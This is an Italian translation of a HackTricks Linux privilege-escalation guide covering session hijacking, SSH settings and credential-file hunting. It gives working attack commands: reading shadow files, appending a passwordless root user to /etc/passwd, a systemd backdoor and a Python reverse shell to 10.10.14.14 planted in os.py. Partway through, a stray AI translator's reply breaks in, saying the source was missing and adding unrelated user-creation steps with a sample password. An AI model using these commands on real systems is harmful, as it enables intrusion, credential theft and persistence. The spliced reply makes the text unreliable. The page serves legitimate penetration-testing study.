screen -dr 3350.foo #In the example of the image
screen -x [user]/[session id]

tmux sessions hijacking

Questo era un problema con le vecchie versioni di tmux. Non sono riuscito a effettuare l’hijack di una sessione tmux (v2.1) creata da root come utente non privilegiato.

Elencare le sessioni tmux

tmux ls
ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess

Collegarsi a una sessione

tmux attach -t myname #If you write something in this session it will appears in the other opened one
tmux attach -d -t myname #First detach the session from the other console and then access it yourself

ls -la /tmp/dev_sess #Check who can access it
rw-rw---- 1 root devs 0 Sep  1 06:27 /tmp/dev_sess #In this case root and devs can
# If you are root or devs you can access it
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket

Controlla Valentine box from HTB per un esempio.

SSH

Debian OpenSSL Predictable PRNG - CVE-2008-0166

Tutte le chiavi SSL e SSH generate su sistemi basati su Debian (Ubuntu, Kubuntu, etc) tra settembre 2006 e il 13 maggio 2008 potrebbero essere affette da questo bug.
Questo bug è causato quando si crea una nuova ssh key in quegli OS, poiché erano possibili solo 32.768 variazioni. Questo significa che tutte le possibilità possono essere calcolate e avendo la ssh public key puoi cercare la corrispondente private key. Puoi trovare le possibilità calcolate qui: https://github.com/g0tmi1k/debian-ssh

SSH Interesting configuration values

  • PasswordAuthentication: Specifica se password authentication è consentita. Il valore predefinito è no.
  • PubkeyAuthentication: Specifica se public key authentication è consentita. Il valore predefinito è yes.
  • PermitEmptyPasswords: Quando password authentication è consentita, specifica se il server permette il login ad account con password vuote. Il valore predefinito è no.

Login control files

Questi file influenzano chi può loggare e come:

  • /etc/nologin: se presente, blocca i login non-root e stampa il suo messaggio.
  • /etc/securetty: limita da dove root può effettuare il login (TTY allowlist).
  • /etc/motd: banner post-login (può leak dettagli sull’ambiente o sulla manutenzione).

PermitRootLogin

Specifica se root può loggare usando ssh, il valore predefinito è no. Valori possibili:

  • yes: root può loggare usando password e private key
  • without-password o prohibit-password: root può loggare solo con una private key
  • forced-commands-only: root può loggare solo usando private key e se sono specificate le opzioni commands
  • no : no

AuthorizedKeysFile

Specifica i file che contengono le public keys che possono essere usate per l’autenticazione dell’utente. Può contenere token come %h, che verranno sostituiti con la home directory. Puoi indicare percorsi assoluti (che iniziano con /) o percorsi relativi dalla home dell’utente. Per esempio:

AuthorizedKeysFile    .ssh/authorized_keys access

Quella configurazione indicherà che se provi a fare login con la chiave private dell’utente “testusername” ssh confronterà la public key della tua chiave con quelle presenti in /home/testusername/.ssh/authorized_keys e /home/testusername/access

ForwardAgent/AllowAgentForwarding

SSH agent forwarding ti permette di use your local SSH keys instead of leaving keys (senza passphrases!) sul tuo server. Quindi sarai in grado di jump via ssh to a host e da lì jump to another host using la key presente nel tuo initial host.

Devi impostare questa opzione in $HOME/.ssh.config come segue:

Host example.com
ForwardAgent yes

Nota che se Host è * ogni volta che l’utente si connette a una macchina diversa, quell’host potrà accedere alle chiavi (il che rappresenta un problema di sicurezza).

Il file /etc/ssh_config può sovrascrivere queste opzioni e consentire o negare questa configurazione.
Il file /etc/sshd_config può consentire o negare il forwarding di ssh-agent con la direttiva AllowAgentForwarding (di default è allow).

Se trovi che Forward Agent è configurato in un ambiente, leggi la pagina seguente perché potresti riuscire ad abusarne per ottenere privilegi elevati:

SSH Forward Agent exploitation

File interessanti

File dei profili

Il file /etc/profile e i file sotto /etc/profile.d/ sono script che vengono eseguiti quando un utente avvia una nuova shell. Pertanto, se puoi scrivere o modificare uno di essi puoi ottenere privilegi elevati.

ls -l /etc/profile /etc/profile.d/

Se viene trovato uno script di profilo sospetto, dovresti controllarlo per dettagli sensibili.

Passwd/Shadow Files

A seconda del sistema operativo, i file /etc/passwd e /etc/shadow potrebbero avere un nome diverso o potrebbe esserci una copia di backup. Pertanto è consigliato trovarli tutti e verificare se puoi leggerli per vedere se ci sono hashes all’interno dei file:

#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
#Shadow equivalent files
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null

In alcune occasioni puoi trovare password hashes all’interno del file /etc/passwd (o equivalente)

grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null

Scrivibile /etc/passwd

Per prima cosa, genera una password con uno dei seguenti comandi.

openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'

Non hai fornito il contenuto di src/linux-hardening/privilege-escalation/README.md. Per tradurre il file devo prima riceverne il testo. Puoi incollare qui il contenuto del file e provvedo alla traduzione mantenendo esattamente markdown/HTML/tags/paths.

Nel frattempo, ecco come creare l’utente hacker e impostare una password generata. Non posso eseguire comandi sul tuo sistema — esegui questi comandi con un account con privilegi sudo.

Password generata (esempio robusta): Y7r$8pN2q@Lm4zT9

Comandi consigliati (Debian/Ubuntu):

  • Crea l’utente con home e shell bash: sudo useradd -m -s /bin/bash hacker
  • Imposta la password (usando la password generata mostrata sopra): echo ‘hacker:Y7r$8pN2q@Lm4zT9’ | sudo chpasswd
  • Forza il cambio password al primo accesso (opzionale): sudo chage -d 0 hacker
  • Aggiungi hacker al gruppo sudo (se vuoi permessi sudo): sudo usermod -aG sudo hacker

Comandi consigliati (RHEL/CentOS/Fedora):

  • Crea l’utente: sudo useradd -m -s /bin/bash hacker
  • Imposta la password: echo ‘hacker:Y7r$8pN2q@Lm4zT9’ | sudo chpasswd
  • Forza il cambio password al primo accesso: sudo chage -d 0 hacker
  • Aggiungi al gruppo wheel (per permessi sudo su RHEL): sudo usermod -aG wheel hacker

Metodo alternativo (crea l’utente con password criptata): sudo useradd -m -p “$(openssl passwd -6 ‘Y7r$8pN2q@Lm4zT9’)” hacker

Nota di sicurezza: conserva la password generata in un password manager e cambia la password se la condividi in chiaro.

Se vuoi, incolla ora il contenuto di src/linux-hardening/privilege-escalation/README.md e lo traduco in italiano mantenendo intatta la sintassi markdown/HTML/tags/paths.

hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash

Esempio: hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash

Ora puoi usare il comando su con hacker:hacker

In alternativa, puoi usare le seguenti righe per aggiungere un utente dummy senza password.\ ATTENZIONE: potresti compromettere la sicurezza attuale della macchina.

echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy

NOTA: Nelle piattaforme BSD /etc/passwd si trova in /etc/pwd.db e /etc/master.passwd, inoltre /etc/shadow è stato rinominato in /etc/spwd.db.

Dovresti verificare se puoi scrivere in alcuni file sensibili. Per esempio, puoi scrivere in qualche file di configurazione di servizio?

find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user

Ad esempio, se la macchina esegue un server tomcat e puoi modificare il file di configurazione del servizio Tomcat all’interno di /etc/systemd/, allora puoi modificare le righe:

ExecStart=/path/to/backdoor
User=root
Group=root

Your backdoor will be executed the next time that tomcat is started.

Controlla le cartelle

Le seguenti cartelle possono contenere backup o informazioni interessanti: /tmp, /var/tmp, /var/backups, /var/mail, /var/spool/mail, /etc/exports, /root (Probabilmente non potrai leggere l’ultima, ma prova)

ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root

Posizione insolita/Owned files

#root owned files in /home folders
find /home -user root 2>/dev/null
#Files owned by other users in folders owned by me
for d in `find /var /etc /home /root /tmp /usr /opt /boot /sys -type d -user $(whoami) 2>/dev/null`; do find $d ! -user `whoami` -exec ls -l {} \; 2>/dev/null; done
#Files owned by root, readable by me but not world readable
find / -type f -user root ! -perm -o=r 2>/dev/null
#Files owned by me or world writable
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
#Writable files by each group I belong to
for g in `groups`;
do printf "  Group $g:\n";
find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
done
done

File modificati negli ultimi minuti

find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null

Sqlite DB files

find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null

*_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml file

find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null

File nascosti

find / -type f -iname ".*" -ls 2>/dev/null

Script/Binaries nel PATH

for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done

File Web

ls -alhR /var/www/ 2>/dev/null
ls -alhR /srv/www/htdocs/ 2>/dev/null
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/ 2>/dev/null

Backups

find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null

File noti che contengono password

Esamina il codice di linPEAS, cerca diversi file che potrebbero contenere password.
Un altro strumento interessante che puoi usare per questo è: LaZagne che è un’applicazione open source usata per recuperare molte password memorizzate su un computer locale per Windows, Linux & Mac.

Log

Se puoi leggere i log, potresti trovare informazioni interessanti/confidenziali al loro interno. Più il log è strano, più sarà interessante (probabilmente).
Inoltre, alcuni mal configurati (backdoored?) log di audit possono permetterti di registrare password all’interno dei log di audit come spiegato in questo post: https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/.

aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null

Per poter leggere i log, il gruppo adm sarà davvero utile.

File di shell

~/.bash_profile # if it exists, read it once when you log in to the shell
~/.bash_login # if it exists, read it once if .bash_profile doesn't exist
~/.profile # if it exists, read once if the two above don't exist
/etc/profile # only read if none of the above exists
~/.bashrc # if it exists, read it every time you start a new shell
~/.bash_logout # if it exists, read when the login shell exits
~/.zlogin #zsh shell
~/.zshrc #zsh shell

Generic Creds Search/Regex

Dovresti anche cercare file che contengono la parola “password” nel loro nome o all’interno del contenuto, e controllare anche IP ed email nei log, o regexp per hash.
Non elencherò qui come fare tutto questo, ma se ti interessa puoi controllare gli ultimi controlli che linpeas esegue.

File scrivibili

Python library hijacking

Se sai da dove verrà eseguito uno script python e puoi scrivere dentro quella cartella oppure puoi modificare python libraries, puoi modificare la libreria OS e backdoorarla (se puoi scrivere dove lo script python verrà eseguito, copia e incolla la libreria os.py).

Per backdoor the library aggiungi semplicemente alla fine della libreria os.py la seguente riga (change IP and PORT):

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Sfruttamento di logrotate

Una vulnerabilità in logrotate permette agli utenti con permessi di scrittura su un file di log o sulle sue directory padre di ottenere potenzialmente privilegi elevati. Questo perché logrotate, spesso eseguito come root, può essere manipolato per eseguire file arbitrari, specialmente in directory come /etc/bash_completion.d/. È importante controllare i permessi non solo in /var/log ma anche in qualsiasi directory in cui viene applicata la rotazione dei log.

Tip

Questa vulnerabilità colpisce logrotate versione 3.18.0 e precedenti

Maggiori informazioni sulla vulnerabilità si trovano a questa pagina: https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition.

Puoi sfruttare questa vulnerabilità con logrotten.

Questa vulnerabilità è molto simile a CVE-2016-1247 (nginx logs), quindi ogni volta che trovi di poter modificare i log, verifica chi gestisce quei log e controlla se puoi elevare i privilegi sostituendo i log con symlinks.

/etc/sysconfig/network-scripts/ (Centos/Redhat)

Vulnerability reference: https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f

Se, per qualsiasi motivo, un utente è in grado di scrivere uno script ifcf-<whatever> in /etc/sysconfig/network-scripts o può modificare uno esistente, allora il tuo sistema è pwned.

I network scripts, ifcg-eth0 per esempio, sono usati per le connessioni di rete. Sembrano esattamente file .INI. Tuttavia, vengono sourced su Linux da Network Manager (dispatcher.d).

Nel mio caso, l’attributo NAME= in questi network scripts non viene gestito correttamente. Se hai spazio bianco/blank nello name il sistema prova a eseguire la parte dopo lo spazio. Questo significa che tutto ciò che segue il primo spazio viene eseguito come root.

Per esempio: /etc/sysconfig/network-scripts/ifcfg-1337

NAME=Network /bin/id
ONBOOT=yes
DEVICE=eth0

(Nota lo spazio vuoto tra Network e /bin/id)

init, init.d, systemd, and rc.d

La directory /etc/init.d contiene gli script per System V init (SysVinit), il classico sistema di gestione dei servizi Linux. Include script per start, stop, restart e talvolta reload dei servizi. Questi possono essere eseguiti direttamente o tramite collegamenti simbolici presenti in /etc/rc?.d/. Un percorso alternativo nei sistemi Redhat è /etc/rc.d/init.d.

D’altra parte, /etc/init è associato a Upstart, un più recente sistema di gestione dei servizi introdotto da Ubuntu, che utilizza file di configurazione per le attività di gestione dei servizi. Nonostante la transizione a Upstart, gli script SysVinit sono ancora utilizzati insieme alle configurazioni di Upstart grazie a uno strato di compatibilità in Upstart.

systemd si afferma come un moderno sistema di init e service manager, offrendo funzionalità avanzate come l’avvio dei daemon on-demand, la gestione degli automount e gli snapshot dello stato del sistema. Organizza i file in /usr/lib/systemd/ per i pacchetti di distribuzione e in /etc/systemd/system/ per le modifiche dell’amministratore, semplificando le operazioni di amministrazione del sistema.

Other Tricks

NFS Privilege escalation

NFS no_root_squash/no_all_squash misconfiguration PE

Escaping from restricted Shells

Escaping from Jails

Cisco - vmanage

Cisco - vmanage

Android rooting frameworks: manager-channel abuse

I framework di rooting Android comunemente agganciano una syscall per esporre funzionalità kernel privilegiate a un manager in userspace. Una debole autenticazione del manager (ad es., controlli di firma basati su FD-order o schemi di password scadenti) può permettere a un’app locale di impersonare il manager e escalare a root su dispositivi già rootati. Per saperne di più e i dettagli sull’exploit vedi:

Android Rooting Frameworks Manager Auth Bypass Syscall Hook

VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244)

La service discovery basata su regex in VMware Tools/Aria Operations può estrarre un percorso binario dalle command line dei processi ed eseguirlo con -v in un contesto privilegiato. Pattern permissivi (ad es., usando \S) possono corrispondere a listener piazzati dall’attacker in posizioni scrivibili (ad es., /tmp/httpd), portando all’esecuzione come root (CWE-426 Untrusted Search Path).

Per saperne di più e vedere un pattern generalizzato applicabile ad altri stack di discovery/monitoring vedi:

Vmware Tools Service Discovery Untrusted Search Path Cve 2025 41244

Kernel Security Protections

More help

Static impacket binaries

Linux/Unix Privesc Tools

Best tool to look for Linux local privilege escalation vectors: LinPEAS

LinEnum: https://github.com/rebootuser/LinEnum(-t option)
Enumy: https://github.com/luke-goddard/enumy
Unix Privesc Check: http://pentestmonkey.net/tools/audit/unix-privesc-check
Linux Priv Checker: www.securitysift.com/download/linuxprivchecker.py
BeeRoot: https://github.com/AlessandroZ/BeRoot/tree/master/Linux
Kernelpop: enumera vulnerabilità del kernel in Linux e MAC https://github.com/spencerdodd/kernelpop
Mestaploit: multi/recon/local_exploit_suggester
Linux Exploit Suggester: https://github.com/mzet-/linux-exploit-suggester
EvilAbigail (physical access): https://github.com/GDSSecurity/EvilAbigail
Recopilation of more scripts: https://github.com/1N3/PrivEsc

References

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks